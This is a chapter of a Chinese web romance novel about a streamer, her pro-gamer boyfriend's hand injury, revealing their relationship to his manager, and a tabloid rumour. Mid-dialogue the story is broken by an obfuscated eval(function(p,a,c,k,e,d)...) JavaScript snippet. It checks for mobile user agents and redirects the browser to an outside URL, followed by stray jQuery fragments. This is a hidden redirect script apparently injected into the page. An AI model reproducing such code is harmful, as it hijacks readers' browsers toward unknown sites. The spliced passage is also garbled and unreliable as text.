杭姣给自己点了一根烟，在一旁盯着季灿换床单。


    此时才想起来问：“你们休息日可以出俱乐部？”


    “请假了，明天下午回。”


    杭姣随手拿起手边的小物件朝他扔过去，“能不能对自己的事业负点责任。”


    季灿反手接住放到床头柜上摆好，沉思片刻最后还是如实说，“我明天得去看中医。”


    杭姣皱眉：“哪有问题？”


    季灿举起两只手挥动着，“暂时没问题，但马上开赛了，还是得去拿点药备着。”


    杭姣立马反应过来，“腱鞘炎？”说着‘唰’地起身往他身边走，“你怎么不早说？！”


    季灿摸了下她的头发，安抚般道：“别担心，这不是没事吗。”


    “到什么程度？”杭姣不是小孩，当然明白腱鞘炎对职业选手来说意味着什么。


    见季灿沉默，杭姣踢了下他的小腿，一点儿没省力气，“你不会以为这种事瞒得住吧？”


    季灿解释道：“不是想瞒你，现在也没事了，不想让你担心。”


    杭姣：“那就是以前有事。”


    她最会抓重点。


    季灿无奈的笑，拉着她在铺好的床边坐下，“也就上上个赛季，疼得有点厉害，针灸了一段时间，就没事了。”


    杭姣怀疑地看着他。


    “你不信啊？”季灿戳着她的嘴角往上提，“真的，笑一下。平时队里理疗师也在，会定期按摩，真的没问题了。”


    “我是职业选手，肯定不会拿我的手开玩笑的。”季灿补充道。


    杭姣：“那去看中医拿什么药？”


    “就敷手的，泡手的，帮助缓解疲劳。就算真的有什么突发情况，也能应急，有备无患。”


    杭姣垂眸注视着他的手，片刻后说：“明天我跟你一起去。”


    “真的？”季灿先是惊喜，随后又带着点顾虑，“但何奇也跟我一起，你去的话，怎么跟他说？”


    “什么怎么说？”杭姣有点没明白。


    “就，你去的话，他肯定会问咱俩什么关系。”


    “女朋友啊，有什么问题？”


    “可以吗？！”季灿的欣喜溢于言表。


    杭姣感到莫名其妙，“为什么不可以？你喜欢搞地下恋情？”


    “不是！”季灿立马否认，“这不是怕影响你的工作吗。”


    “粉丝可以不用知道，你同事又没什么，他们又不会出去乱说。”说完杭姣又不太确定地眨了眨眼，“会吗？”


    “不会！我保证！”季灿举起一只手做保证状。


    杭姣抬手跟他击了下掌，有点好奇地问：“那他们都以为咱俩什么关系啊？”


    “……以为我还在追你。”季灿不好意思的笑笑。


    “……”


    杭姣假笑道：“要不你接着追好了。”


    “别啊老婆。”季灿手脚并用缠着她往床上倒。


    “放开，以后别抱我了。”


    “为什么？！”季灿委屈地喊道。


    “你手什么情况自己没数吗。”


    “你才几斤啊……”


    月光透过巨大的落地玻璃铺散在客厅，安静倾听室内的呢喃私语。


    既停风雨，月也温柔。


    中医约的是九点，季灿跟何奇说好直接目的地汇合。


    今日晴朗无云。


    季灿开车，杭姣在网上查腱鞘炎有关的资料。


    越看眉头皱得越紧。


    “你真的没事吗，要不我开车吧。”杭姣有些担忧地说。


    季灿被她逗笑了，“你别百度搜啊，再看一会儿它就得说我快死了。”


    杭姣撇了撇嘴，浪费感情。


    路上不算太堵，两个人比约定时间还早了十分钟到门口，何奇已经站在台阶上等了。


    见季灿的车停稳，何奇走上前来迎他。


    刚走没两步便直愣愣停在原地。


    先下车的是杭姣，她正在整理帽子口罩。


    何奇：？


    季灿从驾驶位绕过来，朝何奇问了句“早”，等杭姣整理完才一起走近。


    何奇：“……早。”


    杭姣：“你好，又见面了。”


    何奇：“……你好。”


    何奇揉了揉眼睛，觉得自己是不是错过了什么环节，不然，“yvonne怎么也在这？”


    杭姣回答：“不太放心，过来听听医生怎么说。”


    何奇转了转心思：“你们俩，是有什么我不知道的事吗？”


    季灿闻言站在他们两个人中间，“重新介绍一下，”左手朝向何奇，“何奇，我的领队兼助理。”右手朝向杭姣，“yvonne，我女朋友。”


    ！！！


    何奇：这么大事怎么没人通知我。


    杭姣顾不上看他表演震惊，“先干正事吧，别让医生等。”


    何奇收放自如：“奥奥奥，走走走。”


    直到亲耳听见医生说“他的手暂时没什么问题，只要好好保养就可以”她才算是放下心来。


    “听到没有，好好保养。”杭姣出门之后就重复医生的话。


    季灿捏了下她的脸，“知道，理疗师一直在。”


    何奇跟在后面：“咳……”


    杭姣回头看他，“一起吃饭吗？”


    “吃！我起太早了还没吃饭呢。”


    杭姣：“怎么来的？”


    “打车。”


    很好。


    杭姣笑得眼睛弯弯，“那一会儿你开车吧哥，辛苦了。”


    何奇被她笑的猝不及防，嘴比脑子快，抢答道：“不辛苦。”


    季灿一看何奇的神情就知道他没过脑子，但也没多说直接把车钥匙抛给他。


    何奇下意识接住。半晌，奥，是说要开车呀。


    一行三人坐在街边的小馆子里等油泼面，季灿把杭姣面前的桌子擦了好几遍。


    杭姣没洁癖，再说这家店也干净，却也没制止他。


    面还没上来，先来的是庄文的电话。


    “yvonne？醒了？”


    “嗯，怎么了姐。”


    庄文：“有杂志公开了沈铎的采访，已经在热搜上了。”


    这么快？可见沈铎这次是真着急了。


    毕竟牵扯到他的婚姻，沈铎怎么可能容许外面有这种‘污点’。


    “稍等，我看一下。”杭姣打开微博，‘杭姣绯闻男友回应’在热搜中位，呈上升趋势。


    热门就是杂志刊印的采访节选，杭姣无声笑笑。


    一夜之间连杂志都印出来了。


    【听说您最近也是要结婚了，能不能跟我们分享一下您的未婚妻是什么样的人呢？】


    【温柔、大方、知趣、得体】


    【看得出来您对她的评价非常高，那平时两个人都有什么共同的兴趣爱好呢？】


    【兴趣爱好是很广泛的，不需要追求共同】


    【前段时间网络上还流传着一些沈总的照片，不知道沈总看见有什么感想？会怀念更年轻时候的自己吗】


    杭姣想，这个记者很会写稿子，直接把沈铎的现在和过去做了分割。


    她被划分在‘更年轻的过去’那一段里。


    后面是沈铎的回答，他说。


    【yvonne和我表妹是多年的好友，在我心里一样是疼爱的妹妹。她那么小在国外，没什么亲人。刚好我在，自然要常常请她吃饭，回国亦是。】


    完美回答。


    温柔的未婚妻，表妹的好朋友。


    孰轻孰重一目了然。


    杭姣想，他果然不会让人失望。


    她收起思绪对庄文说“等我回去再联系你”就挂了电话，然后把手机屏幕在季灿面前晃了一圈，说：“行了解决了。”


    季灿刚想伸手接过来看，杭姣：“用你自己手机看。”


    季灿不明所以地摸出自己的手机。


    微博已经给他推送了。


    何奇很有参与感，“什么呀？”说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799730|157656||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着手肘撑着桌沿伸长脖子想凑过来看。


    季灿：“你没有自己的手机吗。”


    ……


    等到在座所有人都围观完热搜，油泼面已经端上桌了。


    何奇看一眼毫无波澜吃面的杭姣，又瞅瞅若有所思的季灿，片刻后十分诚恳地说：“哥哥挺好的。”


    杭姣如果不是在嚼东西一定会笑出声。


    季灿则是一副‘你是白痴吗’的神情看着他。


    何奇：“怎么了？！是哥哥难道不好吗！”


    杭姣举起杯子喝水，目光来回打量着眼前两个人，半晌淡淡地说：“挺好的。”


    她在网络上平白得了一个有权有势的‘哥哥’，能有什么不好。


    好得很。


    吃完饭季灿要和何奇回俱乐部，先把杭姣送回家。


    开到一半何奇突然想起来说：“车库的监控我去查过了，已经没了。但我对了偷拍的角度，那一片的车位是临时车位，应该是那天联盟来宣传的人拍的。”


    “联盟的人？”这倒是在杭姣意料之外。


    “嗯，”何奇接着说，“我们直播那天，联盟也有很多人在给赞助商拍宣传照，但他们结束的早就没碰上，结果不知道是谁晚走了。”


    “都有谁？”杭姣问。


    何奇：“那多了去了，解说、主持、选手，还有他们的工作人员。”


    杭姣手指有规律地轻点座椅，有什么答案呼之欲出。


    ——他不会喜欢杭姣的。


    怪不得她当时能笃定的说这句话，原来是目睹了季灿看见‘男朋友’来接自己。


    压根没把杭姣当情敌。


    吕向宁。


    杭姣微挑嘴角，阴差阳错，有点意思。


    “想起来什么了？”季灿目睹她的神色变化，好奇地问。


    杭姣笑，“没什么，回去以后好好训练，注意休息。”


    季灿抓住机会，期待地说：“春季赛你来看吗？”


    何奇在前边听得头痛，孩子们，这可不兴来啊。


    杭姣没看过比赛，想去也不想去，只说：“再说吧。”


    季灿略显失落，“好吧。”倒也没让她为难。


    杭姣下车前夕，季灿扑过来抱住她，蹭蹭她的脸颊，悄声说：“我会想你的。”


    何奇：没眼看。


    杭姣回到家里翻看热搜广场，有人表示不信，有人说拍到的又不止这一个，但很快都被杭姣粉丝的花式安利胡言乱语覆盖了过去。


    舆论就是这样，可操纵性强，全看最先下手的人想如何引导。


    杭姣原本以为背后是MD，胜算其实不够大。没想到命运还是眷顾，那人初出茅庐，也没存着要整她的心思。


    当然沈铎也功不可没，虽然自己并不认识他所谓的‘表妹’。


    不过照如今看来，MD没趁机浑水摸鱼落井下石，算是放过她了？


    杭姣不由得心情舒畅，给庄文回拨电话，庄文接得很快。


    “我的作战计划怎么样。”杭姣得意地笑。


    “这有什么不能提前告诉我的啊？”


    杭姣：“怕你期望太大。”


    “行，你有理由，”既然目的达到了，庄文也没必要计较过程，“我联系了粉丝，后面的舆论走向他们可以接手。”


    杭姣赞同的“嗯”。


    庄文：“还有。”


    “什么？”


    “就在刚刚联盟联系我，说春季赛开赛希望你也能去。”


    ？


    杭姣：“我去干什么？”


    庄文解释说：“当然不只是你，几个平台的主播都会去几个，互相引流吧。”


    “你想去吗？”


    这不等于扮演观众吗。


    杭姣：“这给钱的吧？”


    您就只关心这个吗？“……多少有点吧。”


    去啊！干嘛不去！


    钱不钱倒是次要的，主要还有个男朋友在嘛。


    杭姣：“多少是多少啊？”